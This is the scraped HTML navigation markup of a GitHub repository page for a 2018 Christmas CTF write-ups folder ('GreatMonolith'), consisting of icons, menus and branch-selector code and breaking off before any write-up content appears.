d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> serega6531 </span> <span>/</span> XmasCtf2018Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/serega6531/XmasCtf2018Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162837579,"originating_url":"https://github.com/serega6531/XmasCtf2018Writeups/tree/master/GreatMonolith","user_id":null}}" data-hydro-click-hmac="d74fe4a70086f40c5cb78800ccf981fd5bc99143a9a8743b77f13c42bf5cc1ac"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>GreatMonolith<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>GreatMonolith<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/serega6531/XmasCtf2018Writeups/tree-commit/c4e5b8c72c4e35e9b6cbbe2d163b9f94db6fd0ac/GreatMonolith" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" 